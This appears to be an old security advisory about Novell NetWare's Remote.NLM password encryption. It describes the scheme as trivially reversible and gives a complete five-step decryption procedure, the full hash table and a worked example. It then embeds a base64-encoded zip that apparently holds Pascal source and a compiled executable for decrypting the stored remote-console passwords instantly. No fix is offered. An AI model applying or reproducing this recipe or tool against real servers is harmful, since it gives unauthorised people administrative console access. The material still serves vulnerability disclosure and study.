COMMAND Novell Remote.NLM Password Decryption Algorithm SYSTEMS AFFECTED Novell Netware PROBLEM 'dreamer' found following. Novell is known to use a one-way hash algorithm in their password encryption, so all captured encrypted passwords must be brute-forced, slowly and painfully. However, a few days ago, he cryptographically cracked Novell's Remote.NLM password encryption algorithm. It is a very weak algorithm compared to what Novell has implemented in NDS, as it is instantaneously decryptable. RConsole password encryption is different from Remote.NLM password encryption because: 1) Encrypted RConsole passwords are sent across the wire, via RConsole. Remote.NLM's encrypted passwords are generated at the server console by typing REMOTE ENCRYPT MyPass, and they are optionally stored in SYS:System\LDRemote.NCF. 2) They use a different password encryption algorithm. RConsole passwords are encrypted with information from the workstation that is currently running RConsole. Remote.NLM passwords are encrypted with a time byte, one of 255 constants in a hash table, appended characters, some XORing, and bit-order separation. 3) Encrypted RConsole passwords are locally obtained with a packet sniffer, but Remote.NLM passwords are remotely accessible to anyone with the ability to view SYS:System\LDRemote.NCF. The Remote.NLM passwords are decrypted using only five steps. To encrypt, simply reverse the steps. The password will look something like this: AF8CBBF48CA9955F5ADAFDADAA23 The structure of the password is as follows: AF8CBBF48CA99 55F5ADAFDADAA - 23 The first section contains the low-order bits, and the second, the high-order bits. 23 is the time byte, which is decremented by the server once every two seconds, from FF to 02, then back up to FF, etc. Step 1) Realign the low-order bits and high-order bits ======================================================= This is extremely simple to do. The high-order bits are in order from the first character to the last, and so are the low-order bits. Example: Password: AF8CBBF48CA99 - 55F5ADAFDADAA, Output: 5A 5F F8 5C AB DB AF F4 D8 AC DA A9 A9 At this point, ignore 5A 5F F8 5C, or the first four bytes. They are appended somewhere during encryption, and decrypt to "%*@$". It was a TERRIBLE idea for Novell to implement those four characters into every single password, as those are what helps rebuild their hash table from scratch. Also, if the length of the password is 10, the password is automatically decryptable to nul. Step 2) ======= Match each of the password characters (group of two hex characters) to the hash table below. Use their position from the beginning of the table to determine the value of the pre-hash encrypted password. Example: F4, the 8th character of the password, matches the hash table at 95. This means that 95 is the pre-hash value of F4. Thus far, (ignoring the first four characters) the password was: AB DB AF F4 D8 AC DA A9 A9 and now the password is: 98 A0 9B 95 A1 9D A6 9C 9C Remote.NLM Hash Table 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00 5B 58 5E 5F 59 5C 5A 5D-73 70 76 77 71 74 72 75 10 13 10 16 17 11 14 12 15-7B 78 7E 7F 79 7C 7A 7D 20 53 50 56 57 51 54 52 55-03 00 06 07 01 04 02 05 30 1B 18 1E 1F 19 1C 1A 1D-0B 08 0E 0F 09 0C 0A 0D 40 2B 28 2E 2F 29 2C 2A 2D-63 60 66 67 61 64 62 65 50 83 80 86 87 81 84 82 85-3B 38 3E 3F 39 3C 3A 3D 60 8B 88 8E 8F 89 8C 8A 8D-33 30 36 37 31 34 32 35 70 93 90 96 97 91 94 92 95-6B 68 6E 6F 69 6C 6A 6D 80 9B 98 9E 9F 99 9C 9A 9D-A3 A0 A6 A7 A1 A4 A2 A5 90 F3 F0 F6 F7 F1 F4 F2 F5-AB A8 AE AF A9 AC AA AD A0 DB D8 DE DF D9 DC DA DD-FB F8 FE FF F9 FC FA FD B0 23 20 26 27 21 24 22 25-B3 B0 B6 B7 B1 B4 B2 B5 C0 CB C8 CE CF C9 CC CA CD-BB B8 BE BF B9 BC BA BD D0 C3 C0 C6 C7 C1 C4 C2 C5-D3 D0 D6 D7 D1 D4 D2 D5 E0 43 40 46 47 41 44 42 45-E3 E0 E6 E7 E1 E4 E2 E5 F0 4B 48 4E 4F 49 4C 4A 4D-EB E8 EE EF E9 EC EA ED Step 3) ======= Subtract the length (the number of groups of hex characters, excluding the time character) of the full password from each encrypted password character. Now you have the ACTUAL pre-hash encrypted password. If the subtracted value is negative then simply continue from FF down to the negative value. Example: if the password character is at 04, and the length is 6, the value of the password character will be FF. The length is 13 (D in hex), so the password was: 98 A0 9B 95 A1 9D A6 9C 9C and is now: 8B 93 8E 88 94 90 99 8F 8F Step 4) ======= Get the time var, in this situation 23 (hex), and subtract it from FF. This new character is for use in Step 5. Example: FF-23=DC. Step 5) ======= Finally, XOR each character (group of 2 hex characters) of the encrypted password with the new time character, and you now have the decrypted password! The password was: 8B 93 8E 88 94 90 99 8F 8F (before the XOR) Now, the decrypted password is: 57 4F 52 54 48 4C 45 53 53 "WORTHLESS" TheRuiner ('dreamer') has written a program in Pascal (oh well) which decrypts Remote.NLM passwords instantaneously. It was tested on a password of around 50 characters, and it worked flawlessly, so there shouldn't be anything to worry about regarding the length limit. It can decrypt any character, from 00 to FF, and it will display that value upon execution. The source of the program is below. --- Content-Type: application/octet-stream; name="remote.zip" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="remote.zip" Content-MD5: GJdEvw/Ya/aVRkxDK1lSyg== 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 AAAEAAQA3gAAACAiAAAAAA== ----- SOLUTION Nothing yet.